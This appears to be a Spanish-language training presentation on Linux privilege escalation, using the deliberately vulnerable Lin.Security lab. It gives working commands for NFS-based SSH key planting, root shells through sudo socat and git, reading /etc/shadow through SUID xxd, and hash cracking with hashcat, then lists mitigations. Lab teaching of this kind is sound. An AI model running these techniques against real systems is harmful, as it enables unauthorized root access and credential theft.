Escalación de Privilegios en Linux

Vectores de Ataque y Ejercicios Prácticos con Lin.Security

El plan para hoy

  • Fundamentos de escalación de privilegios
  • Vectores comunes de escalación
  • Enumeración del sistema
  • Ejercicios prácticos con Lin.Security
  • Demostración de distintos vectores
  • Mitigaciones y mejores prácticas

Fundamentos de Escalación de Privilegios

¿Qué es?

  • Proceso de obtener mayores privilegios
  • Horizontal vs Vertical
  • Local vs Remota
  • De usuario a root
  • Entre usuarios del sistema

Vectores Comunes

  1. Configuraciones incorrectas
  2. Vulnerabilidades de software
  3. Permisos mal configurados
  4. Binarios con SUID/SGID
  5. Capacidades (capabilities)
  6. Kernel exploits
  7. Credenciales expuestas
  8. Servicios mal configurados

Enumeración del Sistema

Herramientas básicas:

# Información del sistema
uname -a
cat /etc/issue
cat /proc/version

# Usuarios y grupos
id
who
w
last

# Permisos especiales
find / -perm -4000 2>/dev/null # SUID
find / -perm -2000 2>/dev/null # SGID

Herramientas Automatizadas

  • LinPeas
  • LinEnum
  • Linux Smart Enumeration
  • Linux Exploit Suggester
  • Unix Privesc Check
# Ejemplo con LinPeas
./linpeas.sh

Práctica con Lin.Security

Configuración Inicial:

  1. Descargar Lin.Security
  2. Configurar red en modo bridge
  3. Credenciales iniciales: bob/secret

Vector 1: Usuario Peter

Enumeración inicial desde cero

  1. Identificación de recursos NFS:
showmount -e 192.168.1.137
Export list for 192.168.1.137:
/home/peter *
  1. Montaje y análisis:
mkdir /mnt/peter
mount 192.168.1.137:/home/peter /mnt/peter/
ls -la /mnt/peter/
  1. Creación de usuario local para acceso:
groupadd -g 1005 peter
adduser peter -uid 1001 -gid 1005
  1. Configuración de acceso SSH:
# Como usuario peter
mkdir .ssh
ssh-keygen
cat ~/.ssh/id_rsa.pub > /mnt/peter/.ssh/authorized_keys

Vector 2: Privilegios de Bob

Abuso de permisos sudo

  1. Verificación de permisos:
sudo -l
# Múltiples binarios disponibles: socat, git, etc.
  1. Explotación vía socat:
# Primera terminal
sudo socat TCP-LISTEN:9999,reuseaddr,fork EXEC:sh,pty,stderr,setsid,sigint,sane

# Segunda terminal
socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:9999
  1. Explotación vía git:
sudo git help status
!/bin/bash -p
  1. Otros binarios disponibles:
sudo ssh -o ProxyCommand='./sshex.sh' localhost:8
./bbash -p

Vector 3: Usuario Susan

SUID y otros vectores

  1. Acceso inicial vía archivo oculto:
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null
cat /home/susan/.secret
su - susan
# Password: MySuperSecretValue!
  1. Búsqueda de binarios SUID:
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
# Se identifica /usr/bin/xxd con SUID root
  1. Explotación de xxd:
# Como usuario susan (miembro de itservices)
ls -la /usr/bin/xxd
xxd /etc/shadow | xxd -r
  1. Análisis de hash y cracking:
# En máquina de atacante
hashcat AzER3pBZhGWZE -m 1500 /tools/wordlists/rockyou.txt
# Password encontrado

Mitigaciones y Mejores Prácticas

  1. Principio de mínimo privilegio
  2. Actualizaciones regulares
  3. Monitoreo de binarios SUID
  4. Hardening de configuraciones
  5. Auditorías periódicas

¿Preguntas?